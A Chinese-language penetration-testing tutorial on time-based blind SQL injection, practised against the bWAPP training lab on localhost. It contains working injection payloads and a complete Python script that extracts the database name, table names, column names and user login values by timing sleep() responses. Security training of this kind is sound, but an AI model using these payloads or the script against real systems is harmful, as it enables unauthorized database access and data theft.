渗透测试——sql注入进阶/基于时间的盲注/一看就会/

目录

一、注入点判断

注入类型

SQL注入的类型

二、基于时间的时间盲注

什么是时间盲注

sleep()函数

常用函数

三、bWAPP基于时间的盲注实战


一、注入点判断

1、输入一个单引号',因为语句中多了一个',在没有括号的情况下,系统会认为后续内容为字符串,从而报错,如果看到错误提示信息,则说明存在sql注入漏洞(单引号个数不匹配)

2、括号的情况,sql里面如果存在('1')这种情况,注释在括号中是不生效的,即('1-- +')不会将')注释掉,且输入双引号不会报错,同理("1")这种情况下输入单引号不会报错

注入类型

数字型:select * from xxx where id=1

这个时候我们注入就不用再添加单引号啦

判断方法:先输入一个' 看到错误信息,再注释掉后续内容 即 ‘ -- + 发现还是报错,提示信息中看不到括号等信息,可以猜测是数字型注入

字符型:select * from xxx where id='1'

这个时候构造中最好都带上单引号即,select * from xxx where id='1' or '1'='1' 

判断方法:与数字型相反,注释掉后续内容后不报错,可以猜测是字符型

SQL注入的类型

boolean-Base布尔型盲注

Union联合查询注入

Time-Based基于时间延迟注入

Error-Based报错型注入

二、基于时间的时间盲注

盲注的时候非常看响应速度,即延迟,phpstudy本身会有2s左右的延时,将靶场连接数据库的参数localhost 改成127.0.0.1 让速度快起来!

什么是时间盲注

盲注:顾名思义摸黑注入,其实就是没有回显了,甚至连注入语句是否执行都不清楚

时间盲注:通过注入特定的语句,根据对页面请求的物理反馈,来判断是否注入成功。在sql中使用sleep()函数看加载网页的时间来判断注入点

sleep()函数

sleep(n)会延时显示结果,且延时的时间为 n×查询到的记录数

例: select * from xx where a='aa' and sleep(3) (每一条记录都会延时3秒)

注:and前为真的时候才会延时,延时时间除以3,算出满足前面条件的记录条数

常用函数

睡眠函数

sleep(n)——返回0、中断返回1

截取字符串

substr('str',1,1)从第一个开始取取一个——substr(字符串,开始位置,取几个)

不写第三个参数,默认取到最后一个字符

select substr(database(),1,1)='q' and sleep(3) ——猜解数据库名过程

猜解数据库名的过程中,我们需要知道数据库名的长度

第三个函数获取长度

length()——返回长度

select length(database())

获取ascii码

select ascii('str') ——返回第一个字符的ascii码

为啥要用ASCII码呢,select substr(database(),1,1)='q' and sleep(3)这种直接写='a'的形式不是也可以吗,但是在时间盲注猜解时,如果一个一个试非常的麻烦而且工作量巨大,这个时候就应该写一个脚本,自动的来猜测,脚本如果直接用字母符号计算的时候会比较慢,所以使用ASCII码会提高效率

select ascii(substr(database(),1,1)) > 50 and sleep(2)——猜解第一位

很多函数都有变种,用法与效果类似,名字不同,在某些时候,一些函数被禁止调用,可以寻找其变种来使用,如:substr与mid,left()从左往右截,ascii与ord 

三、bWAPP基于时间的盲注实战

这次还是选用bWAPP靶场,选择time

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第1张图片

可以看到下面提示,返回值将使用邮箱发回,简而言之就是说!没有回显啦小老弟

接下来试试sleep函数能不能用

F12,然后输入一个1 search一下

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第2张图片

可以看到延时才5毫秒

接下来尝试输入

1' or sleep(1) -- +

因为提示我们输入电影名了,所以大概率是字符型的,为啥用or呢因为用and时要保证前面的是正确的才可以执行sleep,测试一下

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第3张图片

这里得等一会才出来,其实等待的时候就已经说明这个sleep起效了

接下来我们需要通过sleep是否起效来判断一些内容,所以必须保证它前面这个是正确的,所以接下来试一下怎么让 xxx' and sleep(1) 起效

i' or 1=1  and sleep(1) -- + 试试前面学过的万能密码

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第4张图片

ok这时候sleep也起效了

但是因为用了万能密码,我们还是要确认一下如果再加判断(我们需要确定的)是否会被万能密码影响,

i' or 1=1  and 1=2 and sleep(1) -- +

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第5张图片

ok这时没sleep

再试一下

i' or 1=1 and 1=1 and sleep(1) -- +

可喜可贺sleep了

综上说明可以用万能密码配合sleep

接下来就是尝试获取数据库名了

两种方法:手试和写脚本

手试(就试一个字母吧,毕竟写脚本还是简单的)

要获取数据库名先要获取数据库名称长度

i' or 1=1 and length(database())=? and sleep(1) -- +

这句话内部的select会计算数据库名长度,外面呢就是尝试,?处填入不同的数字,如果sleep了

说明试对了,为了效率可以把等于号换成大于号或小于号

i' or 1=1 and length(database())>4 and sleep(1) -- +

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第6张图片

sleep了说明数据库名长度大于4

 i' or 1=1 and length(database())>5 and sleep(1) -- +

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第7张图片

不大于5,那就是5

i' or 1=1 and length(database())=5 and sleep(1) -- +

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第8张图片

这里说个or 1=1 的弊端,刚才说了sleep时间是根据记录条数来算的,or1=1其实是把所有记录都拿出来了,这里也可以看到延时几乎都到10s了,如果数据量再大点加上尝试很多次,这个延时就非常烦人了,最好还是拿一个准确的值出来

从上一章渗透拿到的数据来看有一个电影叫 Iron Man,可以用它来代替or 1=1

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第9张图片

这个时候输入sleep(2)才延时2s,刚刚好,or 1= 1 确实挺浪费时间的

接下来就是拿数据库名了,为啥说要知道长度呢,因为数据库名是需要一个字符一个字符去试的,比如说现在拿到数据库名长度为5,那我们就需要尝试5组,每组出一个字符,是不是很麻烦,手动就演示一个字符吧

先构造语句

 Iron Man' and substr(database(),1,1)='a' and sleep(1) -- +

 Iron Man' and substr(database(),1,1)='b' and sleep(1) -- +

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第10张图片

最后试出来第一个字符是b

ok,纯手试就到这里,下面开始快乐的敲代码!

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第11张图片

先引入requests 和time包

接下来构造求数据库名长度的函数,连接url,查看返回值

发现有个name=login,这是为啥呢,因为和postman一样需要cookie来绕过登陆 

界面不一样了,查找一下e-mail 

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第12张图片

 ok说明已经进入到这个页面了

开始构造sql语句

import requests
import  time
HEAD={
    "Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}
B_URL="http://localhost:8090/bwapp/bWAPP/sqli_15.php?"
def get_database_length():
    for i in range(100):
        url=B_URL+f"title=Iron Man' and length(database())={i} and sleep(1) -- + &action=search"
        start_time=time.time()
        requests.get(url,headers=HEAD)
        if time.time()-start_time>1:
            print(f"数据库名长度为{i}")
            return i

if __name__=='__main__':
    get_database_length()

这里用开始时间减去响应完成的时间,算出整个过程的时间,如果大于1,说明sleep运行了,最后输出一下数据库名长度

接下来定义第二个函数,求解数据库名称

def get_database_name(lens):
    name=""
    for i in range(lens):
        for j in range(30,130):
            url=B_URL+f"title=Iron Man' and ascii(substr(database(),{i+1},1))={j} and sleep(1) -- + &action=search"
            start_time=time.time()
            requests.get(url,headers=HEAD)
            if time.time()-start_time>1:
                name+=chr(j)
    print(name)
    return name
if __name__=='__main__':
    get_database_name(get_database_length())

 看!数据库名就出来啦,这里i是用来控制求五组,j是用来求每个字符的,字符的ascii码区间在

33到127之间好像,30到130肯定全乎

这里要注意substr是从1开始的limit是从0开始的,range是从0开始的

后面再chr()把ascii转换成字符串

接下来定义第三个函数,求解该数据库中有几张表

def get_table_count():
    for i in range(100):
        url = B_URL + f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(1) -- + &action=search"
        start_time = time.time()
        requests.get(url, headers=HEAD)
        if time.time() - start_time > 1:
            print(f"该数据库一共有{i}张表")
            return i
if __name__=='__main__':
    get_table_count()

这块和上面类似不过多赘述

接下来第四个函数,求解每个表名长度

def get_table_leng(count):
    a=[]
    for i in range(count):
        for j in range(100):
            url = B_URL + f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {i},1 )={j}  and sleep(1) -- + &action=search"
            start_time = time.time()
            requests.get(url, headers=HEAD)
            if time.time() - start_time > 1:
                print(f"第{i+1}张表的表名长度为{j}")
                a.append(j)

if __name__=='__main__':
    get_table_leng(5)

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第13张图片

这里用了limit 记得是从0开始的

接下来第五个函数,求解表名(这里写一个求解所有表名的,也可以写求解一个的)

def get_table_name(lens):
    a=[]
    for i in range(len(lens)):
        temp=""
        for j in range(lens[i]):
            for k in range(30,130):
                url = B_URL + f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j+1},1))={k}  and sleep(1) -- + &action=search"
                start_time = time.time()
                requests.get(url, headers=HEAD)
                if time.time() - start_time > 1:
                   temp+=chr(k)
        print(f"第{i+1}张表名为{temp}")
        a.append(temp)
    return a
if __name__=='__main__':
    get_table_name(get_table_leng(5))

 别看sql语句挺长的,但是很容易看懂的看不懂的去看前面或者前几篇文章

渗透测试——sql注入进阶/基于时间的盲注/一看就会/_第14张图片

表名就出来啦,接下来就是求字段数量、字段长度、字段名、记录数,记录长度,最后把记录提取出来,跟前面大同小异啦 

完整代码

import  requests
import  time
#http://localhost:8090/bwapp/bWAPP/sqli_15.php?title=&action=search
HEADER={
    "Cookie":"security_level=0; PHPSESSID=ijgbo5f94rr6ahbg1gp9ogdj53"
}

BASE_URL='http://localhost:8090/bwapp/bWAPP/sqli_15.php?'
def get_database_length():
    #Iron Man' and length(database())=1 and sleep(2)
    for i in range(100):
        url=BASE_URL+f"title=Iron Man' and length(database())={i} and sleep(2) --+ &action=search"
        start_time=time.time()
        requests.get(url,headers=HEADER)
        if time.time() -start_time>1:
            print(f"长度为{i}")
            return i
def get_database_name(len):
    name=""
    for j in range(1,len+1):
        for i in range(33,127):
            url = BASE_URL + f"title=Iron Man' and ascii(substr(database(),{j},1))={i} and sleep(3) --+ &action=search"
            start_time = time.time()
            requests.get(url, headers=HEADER)
            if time.time() - start_time > 1:
               name+=chr(i)
    print("数据库名字是"+name)
    return name
def get_table_name_count():
    for i in range(100):
        url=BASE_URL+f"title=Iron Man' and (select count(table_name) from information_schema.tables where table_schema=database())={i} and sleep(3) --+ &action=search"
        start_time=time.time()
        requests.get(url,headers=HEADER)
        if time.time()-start_time>1:
            print(i)
            return i

def get_table_name_length(table_count):
    a=[]
    for j in range(table_count):
        for i in range(100):
            url=BASE_URL+f"title=Iron Man' and (select length(table_name) from information_schema.tables where table_schema=database() limit {j},1)={i} and sleep(3) --+ &action=search  "
            start_time=time.time()
            requests.get(url,headers=HEADER)
            if time.time()-start_time>1:
                a.append(i)
                print(f"第{j}张表长度为{i}")
    return a
def get_table_name(lens):
    str=[]
    for j in range(len(lens)):
        temp = ""
        for i in range(lens[j]):
            for k in range(33,127):
                url=BASE_URL+f"title=Iron Man' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"
                start_time=time.time()
                requests.get(url,headers=HEADER)
                if time.time()-start_time>1:
                    temp+=chr(k)
        print(temp)
        str.append(temp)
    print(str)
def get_columns_count(name):
    for i in range(100):
        url = BASE_URL + f"title=Iron Man' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='{name}')={i} and sleep(3) --+ &action=search"
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 1:
            print(i)
            return i
def get_column_name_length(table_count,name):
    a=[]
    for j in range(table_count):
        for i in range(100):
            url=BASE_URL+f"title=Iron Man' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1)={i} and sleep(3) --+ &action=search  "
            start_time=time.time()
            requests.get(url,headers=HEADER)
            if time.time()-start_time>1:
                a.append(i)
                print(f"第{j}张表长度为{i}")
    return a
def get_column_name(lens,name):
    str=[]
    for j in range(len(lens)):
        temp = ""
        for i in range(lens[j]):
            for k in range(33,127):
                url=BASE_URL+f"title=Iron Man' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='{name}' limit {j},1),{i+1},1))={k} and sleep(3)--+ &action=search"
                start_time=time.time()
                requests.get(url,headers=HEADER)
                if time.time()-start_time>1:
                    temp+=chr(k)
        print(temp)
        str.append(temp)
    print(str)
def get_zd_count(name):
    for i in range(100):
        url = BASE_URL + f"title=Iron Man' and (select count(*) from {name})={i} and sleep(3) --+ &action=search"
        start_time = time.time()
        requests.get(url, headers=HEADER)
        if time.time() - start_time > 1:
            print(i)
            return i
def get_value(name,column,count):
    str_l=[]
    for i in range(count):
        str=""
        for j in range(100):
            url=BASE_URL+f"title=Iron Man' and (select length({column}) from {name} limit {i},1)={j} and sleep(3) --+ &action=search"
            start_time=time.time()
            requests.get(url,headers=HEADER)
            if time.time()-start_time>1:
                print(j)
                for k in range(j):
                    for p in range(30,130):
                        url = BASE_URL + f"title=Iron Man' and ascii(substr((select {column} from {name} limit {i},1),{k+1},1))={p} and sleep(3) --+ &action=search"
                        start_time = time.time()
                        requests.get(url, headers=HEADER)
                        if time.time()-start_time>1:
                            print(chr(p))
                            str+=chr(p)
        str_l.append(str)
if __name__=='__main__':
    get_value('users','login',2)

 嘎嘎嘎,就到这吧

你可能感兴趣的:(SQL注入,渗透测试,sql,java,数据库,安全)